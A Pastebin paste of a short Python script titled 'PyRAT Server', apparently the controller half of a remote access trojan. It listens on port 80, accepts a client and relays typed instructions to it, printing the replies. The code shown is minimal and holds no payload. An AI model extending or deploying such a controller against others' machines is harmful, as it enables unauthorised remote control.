Advertisement
Guest User

PyRAT Server

a guest
Jan 3rd, 2016
20,667
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.89 KB | None | 0 0
  1. #imports
  2. import socket
  3. import os
  4.  
  5. #Variables
  6. port = 80
  7.  
  8. #Functions
  9.  
  10. def clear():
  11.     os.system('cls' if os.name=='nt' else 'clear')
  12.  
  13. #Starting Server
  14. serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  15. host = socket.gethostname()
  16. serversocket.bind((host, port))
  17. serversocket.listen(1)
  18.  
  19. clear()
  20. print("-:-:-:-:-:PyRat Server:-:-:-:-:-")
  21. clientsocket, addr = serversocket.accept()
  22. print("Connection from: " + str(addr))
  23. while True:
  24.     msg = input("Your Instruction: ")
  25.  
  26.     if msg == "help":
  27.         clear()
  28.         print("-+-+-+-+-+HELP+-+-+-+-+-")
  29.         print("Test Connection: 'test'")
  30.        
  31.         input("\nPress ENTER to continue")
  32.         clear()
  33.         print("-:-:-:-:-:PyRat Server:-:-:-:-:-")
  34.    
  35.     else:
  36.         msg = msg.encode("UTF-8")
  37.         clientsocket.send(msg)
  38.         msg = clientsocket.recv(4096)
  39.         print(msg.decode("UTF-8"))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement